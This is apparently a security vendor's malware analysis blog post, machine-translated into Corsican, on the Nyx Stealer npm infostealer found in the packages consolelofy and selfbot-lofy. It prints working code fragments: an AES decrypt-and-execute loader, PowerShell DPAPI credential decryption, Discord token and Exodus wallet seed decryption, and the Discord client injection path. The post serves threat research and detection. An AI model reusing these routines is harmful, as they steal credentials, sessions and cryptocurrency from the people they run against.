npm Infostealer

Nova scuperta di npm Infostealer: Nyx ​​Stealer dirotta e sessioni Discord

TL; DR

A squadra di ricerca di sicurezza Xygeni hà identificatu una campagna sofisticata di furtu d'infurmazioni npm trasmessa per mezu di dui pacchetti maliziosi: consolelofy e selfbot-lofy.

L'ultima versione (consolelofy@1.3.0) incorpora un payload crittografatu AES di 216KB chì decifra à u mumentu di l'esecuzione è s'esegue via vm.runInNewContext()Siccomu a logica maligna hè cumpletamente criptata, i scanner statichi chì si basanu nantu à l'ispezione di stringhe ùn ponu micca osservà u so cumpurtamentu finu à u mumentu di l'esecuzione.

Una volta decifratu, u payload, marcatu internamente Ladru di Nyx, miri:

  • Gettoni d'autentificazione Discord
  • Più di 50 magazzini di credenziali di navigatore
  • Più di 90 estensioni di portafogliu di criptovalute
  • Sessioni di Roblox, Instagram, Spotify, Steam, Telegram è TikTok
  • Persistenza di u cliente di desktop Discord

Tutte e 20 versioni in i dui pacchetti sò state segnalate è cunfirmate maliziose.

Panoramica tecnica di questu Infostealer npm

À u cuntrariu di i malware tradiziunali in tempu d'installazione, sta campagna si basa nantu à un runtime mudellu di decifrazione.

Ci hè:

  • Nisun maliziosu preinstall or postinstall hooks
  • Nisuna chjama di rete evidente in tempu d'installazione
  • Nisuna logica di raccolta di credenziali in testu chjaru

U payload s'attiva quandu u modulu hè impurtatu. Tuttu u corpu maliziosu hè criptatu è si materializza in memoria solu durante l'esecuzione.

Stu cuncepimentu evita specificamente a rilevazione durante l'installazione di u pacchettu.

Cumu questu Infostealer npm funziona in realtà

Prima di analizà ciò chì Nyx Stealer arrubba, ci vole à capisce cumu si esegue.

A logica maligna in questu infostealer npm seguita un schema coerente:

Un picculu loader decifra un grande payload criptatu è l'esegue dinamicamente in un cuntestu di VM Node.js.

Stu cuncepimentu hè deliberatu. L'attaccante ùn piatta micca a funziunalità daretu solu à l'offuscazione, ma hè rimuovendu cumpletamente u codice maliziosu da a visibilità statica.

Modellu d'esecuzione d'altu livellu

À un livellu altu, u wrapper face quattru cose:

  • Deriva una chjave AES da una frase secreta codificata cù SHA-256
  • Decifra un grande testu cifratu codificatu in esadecimale cù AES-256-CBC
  • Esegue u JavaScript decifratu aduprendu vm.runInNewContext()
  • Fornisce una sandbox chì espone sempre primitive di runtime putenti

Riassuntu di a Tecnica Core

Componenti Cunfigurazione / Valore
Algoritmu AES-256-CBC
Derivazione chjave SHA-256 (frase d'accessu)
Vettore d'inizializazione (IV) 16 byte di 0x00
esicuzzioni vm.runInNewContext (decifratu, sandbox)

Criticamente, a sandbox passa per:

  • require
  • process
  • Buffer
  • cronometri
  • esportazioni di moduli

Questu significa chì u payload decifratu mantene a piena capacità di:

  • Prucessi di spawn
  • Leghje è scrive i fugliali
  • Fate chjamate di rete
  • Mudificà l'applicazioni lucali

Questa ùn hè micca una VM ristretta. Hè una VM aduprata cum'è trampolinu d'esecuzione.

Schema di crittografia in tempu d'esecuzione (meccanismu d'esecuzione principale)

U caricatore hè chjucu.
U corpu maliziosu ùn hè micca.

Quì sottu hè u schema d'esecuzione truvatu in u pacchettu:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Perchè Questa Materia

U payload decifratu:

  • paggina micca esiste in testu chjaru in u pacchettu npm
  • Hè invisibile à i simplici grep o scansione statica di stringhe
  • Si materializza solu in memoria à l'esecuzione
  • Esegue cù tutte e capacità di runtime di Node

Questa cumbinazione d'esecuzione AES + VM hè un forte indicatore di cumpurtamentu di un npm infostealer chì prova à evità l'ispezione statica.

In altre parolle:

Sè vo scanate l'arburu surghjente di u pacchettu, ùn vedi micca un ladru.
Vedete un decifratore.

Ciò chì succede dopu a decrittazione

Una volta eseguitu, Nyx Stealer lancia onde parallele di raccolta di dati.

Onda 1: Estrazione di credenziali di u navigatore

U malware:

  • Scarica un runtime Python da NuGet CDN
  • Installa librerie crittografiche
  • Estrae i magazzini di credenziali basati nantu à u cromu
  • Decifra i sicreti prutetti da DPAPI

Invece di cumpilà i ligami nativi, sfrutta PowerShell per chjamà direttamente Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Questu approcciu:

  • Evita l'artefatti di compilazione
  • Utilizza l'API di crittografia native di Windows
  • Si fonde in strumenti amministrativi

Hè una decrittazione di credenziali à livellu di sistema operatore, micca un scraping.

Onda 2: Decifrazione di u Token Discord

U ladru hè cusciente di u protocolu. Capisce u furmatu di token criptatu di Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Flussu operativu:

  • Estrae a chjave maestra da Discord Local State
  • Decifrate a chjave maestra via DPAPI
  • Decifra i blob di token AES-GCM
  • Validà i gettoni contr'à l'API Discord
  • Arricchisci cù Nitro, badge, informazioni di fatturazione

Questu ùn hè micca un dumping di credenziali genericu. Hè un dirottamentu di sessione chì rispetta u protocolu.

Onda 3: Targeting di Portafogli di Criptovalute

L'infostealer npm enumera:

  • Più di 90 estensioni di portafogliu di navigatore
  • 27 portafogli di desktop
  • Percorsi di portafogliu fretu
  • File di sementi di Exodus

Esempiu di tentativu di decifrazione di seed:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

S'ellu ci hè successu, u compromessu di u portafogliu hè immediatu è irreversibile.

Questu rapprisenta u vettore di monetizazione di più altu valore di a campagna.

Persistenza via Discord Desktop Injection

Dopu avè raccoltu credenziali, Nyx Stealer prova a persistenza mudificendu u lucale Discord cliente.

Target:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Sequenza Operativa

L'infostealer esegue i seguenti passi:

  • Termina i prucessi Discord in esecuzione
  • Localizza e varianti di Discord installate (Stable, Canary, PTB)
  • Sovrascritte discord_desktop_core/index.js
  • Injecta una logica di webhook cuntrullata da l'attaccante
  • Riavvia Discord

Questu assicura chì e sessioni Discord future filtrinu automaticamente novi gettoni d'autenticazione.

Impurtantemente, sta persistenza ùn si basa micca nantu à i travaglii pianificati o e mudificazioni di u registru. Sfrutta a mudificazione di u codice à livellu d'applicazione, un approcciu più discretu.

Ancu s'è u pacchettu npm maliziosu hè dopu eliminatu, u cliente Discord ferma cumprumessu.

Paragone Tecnicu: Selfbot Legittimu vs Infostealer npm

Componenti Biblioteca Legittima Nyx npm Infostealer
bez None Caricamentu cumpletu criptatu AES
VM in tempu d'esecuzione Micca dumandatu vm.runInNewContext esecutà
Accessu à e credenziali Solu l'API Discord Navigatore, portafogli, DPAPI
Scaricamenti Esterni Innò Runtime Python via NuGet
Persistenza Innò Iniezione di u cliente Discord
Monetizazione Automatizazione di i bot Rivendita di credenziali

U stratu di crittografia solu separa digià sta campagna da una tipica furchetta open-source.

Un selfbot Discord legittimu ùn hà nisuna ragione per criptà tutta a so basa di codice, generà PowerShell per accede à DPAPI, scaricà runtime esterni, o mudificà l'internu di l'applicazione desktop. Quandu queste capacità appariscenu in una dipendenza chì pretende di automatizà l'interazioni Discord, a discrepanza architettonica diventa impussibile da ignurà.

Da un puntu di vista d'inchiesta, questu infostealer npm lascia tracce in parechji strati. Tuttavia, l'indicatori più affidabili ùn sò micca URL codificati o percorsi di file specifici, postu chì quelli ponu cambià trà e versioni. Invece, i signali durevuli sò strutturali.

À u livellu di u pacchettu, a bandera rossa più forte hè a cumbinazione di un grande payload criptatu è un wrapper di decrittazione in tempu reale chì si esegue immediatamente via vm.runInNewContext()Mentre chì a crittografia da sola ùn hè micca intrinsecamente maligna, l'usu di a decrittazione AES seguita da l'esecuzione dinamica di VM in un pacchettu di utilità Discord hè assai anomalu.

À u livellu di l'ospite, i mudelli suspetti includenu l'attività di decrittazione DPAPI inaspettata, a generazione di prucessi da un cuntestu di dipendenza Node.js, è a mudificazione di i fugliali di l'applicazione lucale chì ùn devenu mai esse alterati da biblioteche di terze parti. In listessu modu, à u livellu di rete, a cumunicazione in uscita in stile webhook iniziata da una dipendenza di sviluppu rapprisenta un'altra anomalia significativa.

In altre parolle, a superficia di rilevazione ùn hè micca un unicu indicatore di compromissione. Hè a currelazione di a crittografia, l'esecuzione in tempu reale, l'accessu à e credenziali è u cumpurtamentu di persistenza chì rivela a minaccia.

Rilevazione è Mitigazione cù Xygeni

npm Infostealer

Stu ladrone d'infurmazioni npm hè statu identificatu da L'avvisu precoce di malware (MEW) di Xygeni per via di a currelazione cumportamentale stratificata piuttostu chè di a semplice currispundenza di firma.

Invece di circà stringhe maliziose cunnisciute, MEW valuta anomalie strutturali in tuttu l'arburu surghjente. In questu casu, a rilevazione hè emersa da a cunvergenza di parechji signali: una rutina di decrittazione AES integrata in u puntu d'entrata di u modulu, esecuzione immediata in un cuntestu VM, è una chiara discrepanza trà capacità è intenzione.

Impurtantemente, nisunu di sti signali da per ellu ùn prova micca una intenzione maliziosa. Tuttavia, quandu sò analizati inseme, palesanu un tentativu di ammuccià u cumpurtamentu in tempu reale. Questu approcciu à più livelli riduce significativamente i falsi pusitivi mentre identifica e minacce di a catena di furnimentu di alta fiducia.

Inoltre, questu casu illustra perchè l'ispezione in tempu d'installazione da sola ùn hè micca sufficiente. A logica maligna ùn si trova micca in i script di u ciclu di vita. Si attiva solu dopu chì u modulu hè caricatu è diventa visibile solu una volta decifratu in memoria. Dunque, una difesa efficace richiede analisi sensibili à a crittografia, ricunniscenza di mudelli di cumpurtamentu è monitoraghju continuu di e dipendenze al di là di l'eventi d'installazione.

A rimozione di u registru hè reattiva. L'analisi chì rispetta u runtime hè preventiva.

Perchè questu Infostealer npm hè impurtante

Nyx Stealer rapprisenta una evoluzione strutturale in u malware basatu annantu à npm.

Storicamente, parechji pacchetti maliziosi si basavanu nantu à script visibili in tempu d'installazione o endpoint evidenti di esfiltrazione di credenziali. In cuntrastu, sta campagna cripta u so payload, differisce l'esecuzione à u runtime, sfrutta API legittime di u sistema operativu è stabilisce a persistenza in l'applicazioni affidabili.

Di cunsiguenza, l'attaccante ùn hà micca bisognu di sfruttà l'infrastruttura npm stessa. Invece, l'attaccu riesce perchè l'installazione di dipendenze implica fiducia. I sviluppatori supponenu chì l'importazione di una biblioteca sia un'operazione sicura, in particulare quandu si presenta cum'è una fork plausibile di un strumentu pupulare.

À misura chì l'ecosistemi cuntinueghjanu à cresce è e forche proliferanu, quella fruntiera di fiducia implicita diventa una superficia d'attaccu sempre più attraente. Dunque, a difesa contr'à i ladri d'infurmazioni npm muderni richiede u ricunniscimentu di mudelli architettonichi piuttostu chè a ricerca di stringhe statiche.

In fine, sta campagna rinforza una lezziò cruciale in software supply chain security: e minacce più periculose ùn sò micca quelle chì parenu maliziose à prima vista, ma quelle chì parenu strutturalmente legittime finu à chì u tempu d'esecuzione ùn palesa u so veru cumpurtamentu.

sca-tools-software-strumenti-d'analisi-di-cumpusizione
Priorizà, rimedià è assicurà i vostri risichi di software
Uttene u vostru contu gratuitu.
Nisuna carta di creditu necessaria.

Assicurà u vostru sviluppu è a consegna di software

cù a Suite di Prodotti Xygeni